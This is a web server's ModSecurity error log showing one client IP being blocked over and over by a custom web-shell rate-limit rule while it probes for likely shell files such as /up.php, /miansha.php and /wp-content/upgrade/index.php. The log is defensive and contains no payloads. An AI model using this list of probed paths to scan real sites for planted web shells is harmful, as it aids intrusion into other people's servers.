[Sun Dec 14 23:57:49.599756 2025] [:error] [pid 40595:tid 40601] [client 4.194.187.204:30460] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "aT7effjrht6y4RN-xKRWFwAAAYI"]
[Sun Dec 14 23:57:50.790064 2025] [:error] [pid 40595:tid 40610] [client 4.194.187.204:8567] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/doc.php"] [unique_id "aT7efvjrht6y4RN-xKRWGAAAAYs"]
[Sun Dec 14 23:57:52.556990 2025] [:error] [pid 40595:tid 40621] [client 4.194.187.204:36876] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/doc.php"] [unique_id "aT7egPjrht6y4RN-xKRWGgAAAZY"]
[Sun Dec 14 23:57:55.710957 2025] [:error] [pid 13799:tid 13817] [client 4.194.187.204:36307] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/doc.php"] [unique_id "aT7eg3jPEin01ElFTNZ3BgAAAg8"]
[Sun Dec 14 23:57:56.803423 2025] [:error] [pid 39614:tid 39629] [client 4.194.187.204:36886] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/doc.php"] [unique_id "aT7ehPxybG8-9MflbDetNgAAAM0"]
[Sun Dec 14 23:58:35.944455 2025] [:error] [pid 40596:tid 40644] [client 4.194.187.204:33866] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/up.php"] [unique_id "aT7eq2vZZo4N2X7WoLzHPAAAAdI"]
[Sun Dec 14 23:58:37.369097 2025] [:error] [pid 39614:tid 39631] [client 4.194.187.204:36348] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/up.php"] [unique_id "aT7erfxybG8-9MflbDetUQAAAM8"]
[Sun Dec 14 23:58:38.944564 2025] [:error] [pid 39524:tid 39576] [client 4.194.187.204:33857] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/up.php"] [unique_id "aT7ermrVGpbDzFtDE9MzqQAAAFQ"]
[Sun Dec 14 23:58:41.524660 2025] [:error] [pid 13799:tid 13821] [client 4.194.187.204:30672] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/up.php"] [unique_id "aT7esXjPEin01ElFTNZ3HAAAAhM"]
[Sun Dec 14 23:58:42.096252 2025] [:error] [pid 39614:tid 39640] [client 4.194.187.204:36875] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aT7esvxybG8-9MflbDetWQAAANg"]
[Sun Dec 14 23:58:44.958626 2025] [:error] [pid 40561:tid 40582] [client 4.194.187.204:36316] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aT7etIY6r869zoqRQkQJbgAAAVE"]
[Sun Dec 14 23:58:45.675213 2025] [:error] [pid 40596:tid 40627] [client 4.194.187.204:8521] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aT7etWvZZo4N2X7WoLzHPgAAAcE"]
[Sun Dec 14 23:58:46.835031 2025] [:error] [pid 41600:tid 41611] [client 4.194.187.204:36312] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aT7ettFLTBZjcwNd_VtwHAAAAQg"]
[Sun Dec 14 23:58:50.263359 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:30689] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nope.php"] [unique_id "aT7eumrVGpbDzFtDE9MztQAAAEQ"]
[Sun Dec 14 23:58:51.821715 2025] [:error] [pid 39525:tid 39586] [client 4.194.187.204:31768] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nope.php"] [unique_id "aT7eu01fX_pB_BrvE_58-AAAAIM"]
[Sun Dec 14 23:58:54.966217 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:33889] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nope.php"] [unique_id "aT7evtFLTBZjcwNd_VtwKwAAARE"]
[Sun Dec 14 23:58:56.455760 2025] [:error] [pid 39525:tid 39589] [client 4.194.187.204:55634] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nope.php"] [unique_id "aT7ewE1fX_pB_BrvE_58_wAAAIY"]
[Sun Dec 14 23:58:58.726224 2025] [:error] [pid 39525:tid 39595] [client 4.194.187.204:55642] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/js.php"] [unique_id "aT7ewk1fX_pB_BrvE_59BQAAAIw"]
[Sun Dec 14 23:59:02.484598 2025] [:error] [pid 40561:tid 40588] [client 4.194.187.204:30702] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/js.php"] [unique_id "aT7exoY6r869zoqRQkQJdwAAAVc"]
[Sun Dec 14 23:59:03.910393 2025] [:error] [pid 40595:tid 40602] [client 4.194.187.204:33120] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/js.php"] [unique_id "aT7ex_jrht6y4RN-xKRWSgAAAYM"]
[Sun Dec 14 23:59:05.003356 2025] [:error] [pid 39614:tid 39622] [client 4.194.187.204:31791] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/js.php"] [unique_id "aT7eyfxybG8-9MflbDetZQAAAMY"]
[Sun Dec 14 23:59:06.484373 2025] [:error] [pid 40596:tid 40645] [client 4.194.187.204:33138] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT7eymvZZo4N2X7WoLzHRQAAAdM"]
[Sun Dec 14 23:59:10.041270 2025] [:error] [pid 39525:tid 39586] [client 4.194.187.204:36670] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT7ezk1fX_pB_BrvE_59GwAAAIM"]
[Sun Dec 14 23:59:11.764204 2025] [:error] [pid 39614:tid 39630] [client 4.194.187.204:33147] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT7ez_xybG8-9MflbDetZwAAAM4"]
[Sun Dec 14 23:59:12.694303 2025] [:error] [pid 13799:tid 13817] [client 4.194.187.204:31775] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT7e0HjPEin01ElFTNZ3OAAAAg8"]
[Sun Dec 14 23:59:14.796762 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:33099] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/media.php"] [unique_id "aT7e0mrVGpbDzFtDE9Mz1QAAAEQ"]
[Sun Dec 14 23:59:19.103378 2025] [:error] [pid 39523:tid 39538] [client 4.194.187.204:53532] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/media.php"] [unique_id "aT7e1zQTQH1raAj2lkgULgAAAAo"]
[Sun Dec 14 23:59:20.448776 2025] [:error] [pid 40596:tid 40636] [client 4.194.187.204:53550] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/media.php"] [unique_id "aT7e2GvZZo4N2X7WoLzHTwAAAco"]
[Sun Dec 14 23:59:21.604421 2025] [:error] [pid 39614:tid 39618] [client 4.194.187.204:8577] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/media.php"] [unique_id "aT7e2fxybG8-9MflbDetbAAAAMI"]
[Sun Dec 14 23:59:23.749882 2025] [:error] [pid 39614:tid 39620] [client 4.194.187.204:36615] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aT7e2_xybG8-9MflbDetbwAAAMQ"]
[Sun Dec 14 23:59:24.781995 2025] [:error] [pid 39614:tid 39639] [client 4.194.187.204:8576] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aT7e3PxybG8-9MflbDetcAAAANc"]
[Sun Dec 14 23:59:26.332463 2025] [:error] [pid 40596:tid 40632] [client 4.194.187.204:8619] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aT7e3mvZZo4N2X7WoLzHYwAAAcY"]
[Sun Dec 14 23:59:28.195231 2025] [:error] [pid 40596:tid 40633] [client 4.194.187.204:8624] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aT7e4GvZZo4N2X7WoLzHZAAAAcc"]
[Sun Dec 14 23:59:29.173693 2025] [:error] [pid 40596:tid 40626] [client 4.194.187.204:55564] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aT7e4WvZZo4N2X7WoLzHZgAAAcA"]
[Sun Dec 14 23:59:30.921265 2025] [:error] [pid 13799:tid 13808] [client 4.194.187.204:31601] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/default.php"] [unique_id "aT7e4njPEin01ElFTNZ3WwAAAgY"]
[Mon Dec 15 00:00:09.857659 2025] [:error] [pid 39614:tid 39621] [client 4.194.187.204:8852] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/content.php"] [unique_id "aT7fCfxybG8-9MflbDetngAAAMU"]
[Mon Dec 15 00:00:12.818862 2025] [:error] [pid 39525:tid 39606] [client 4.194.187.204:36248] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/content.php"] [unique_id "aT7fDE1fX_pB_BrvE_59hAAAAJc"]
[Mon Dec 15 00:00:14.410343 2025] [:error] [pid 39524:tid 39571] [client 4.194.187.204:36433] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/content.php"] [unique_id "aT7fDmrVGpbDzFtDE9M0qgAAAE8"]
[Mon Dec 15 00:00:15.180739 2025] [:error] [pid 39525:tid 39586] [client 4.194.187.204:31828] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/content.php"] [unique_id "aT7fD01fX_pB_BrvE_59hQAAAIM"]
[Mon Dec 15 00:00:16.487891 2025] [:error] [pid 39523:tid 39549] [client 4.194.187.204:36437] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ext.php"] [unique_id "aT7fEDQTQH1raAj2lkgUagAAABU"]
[Mon Dec 15 00:00:18.842729 2025] [:error] [pid 41600:tid 41611] [client 4.194.187.204:9027] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ext.php"] [unique_id "aT7fEtFLTBZjcwNd_Vtw2QAAAQg"]
[Mon Dec 15 00:00:19.879928 2025] [:error] [pid 39614:tid 39632] [client 4.194.187.204:29870] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ext.php"] [unique_id "aT7fE_xybG8-9MflbDetoQAAANA"]
[Mon Dec 15 00:00:20.695346 2025] [:error] [pid 39523:tid 39530] [client 4.194.187.204:9032] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ext.php"] [unique_id "aT7fFDQTQH1raAj2lkgUbwAAAAI"]
[Mon Dec 15 00:00:25.285918 2025] [:error] [pid 41600:tid 41611] [client 4.194.187.204:31813] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/himu.php"] [unique_id "aT7fGdFLTBZjcwNd_Vtw-QAAAQg"]
[Mon Dec 15 00:00:29.320916 2025] [:error] [pid 40596:tid 40637] [client 4.194.187.204:34680] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/himu.php"] [unique_id "aT7fHWvZZo4N2X7WoLzHjwAAAcs"]
[Mon Dec 15 00:00:33.501143 2025] [:error] [pid 41600:tid 41609] [client 4.194.187.204:33175] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/himu.php"] [unique_id "aT7fIdFLTBZjcwNd_VtxEAAAAQY"]
[Mon Dec 15 00:00:41.110279 2025] [:error] [pid 39524:tid 39565] [client 4.194.187.204:8454] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wfile.php"] [unique_id "aT7fKWrVGpbDzFtDE9M0vQAAAEk"]
[Mon Dec 15 00:00:41.892890 2025] [:error] [pid 39523:tid 39530] [client 4.194.187.204:31223] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wfile.php"] [unique_id "aT7fKTQTQH1raAj2lkgUeQAAAAI"]
[Mon Dec 15 00:00:43.485899 2025] [:error] [pid 39524:tid 39578] [client 4.194.187.204:29853] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wfile.php"] [unique_id "aT7fK2rVGpbDzFtDE9M0xQAAAFY"]
[Mon Dec 15 00:00:44.394310 2025] [:error] [pid 39524:tid 39574] [client 4.194.187.204:34639] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wfile.php"] [unique_id "aT7fLGrVGpbDzFtDE9M0xwAAAFI"]
[Mon Dec 15 00:00:45.916842 2025] [:error] [pid 40561:tid 40587] [client 4.194.187.204:8328] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pp.php"] [unique_id "aT7fLYY6r869zoqRQkQJrAAAAVY"]
[Mon Dec 15 00:00:47.086848 2025] [:error] [pid 39614:tid 39633] [client 4.194.187.204:32822] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pp.php"] [unique_id "aT7fL_xybG8-9MflbDetuwAAANE"]
[Mon Dec 15 00:00:48.483691 2025] [:error] [pid 39523:tid 39533] [client 4.194.187.204:32802] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pp.php"] [unique_id "aT7fMDQTQH1raAj2lkgUfAAAAAU"]
[Mon Dec 15 00:00:49.689374 2025] [:error] [pid 39524:tid 39556] [client 4.194.187.204:29860] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pp.php"] [unique_id "aT7fMWrVGpbDzFtDE9M0zwAAAEA"]
[Mon Dec 15 00:00:51.317609 2025] [:error] [pid 13799:tid 13813] [client 4.194.187.204:8379] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aT7fM3jPEin01ElFTNZ3sAAAAgs"]
[Mon Dec 15 00:00:53.376702 2025] [:error] [pid 39524:tid 39576] [client 4.194.187.204:8466] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aT7fNWrVGpbDzFtDE9M01AAAAFQ"]
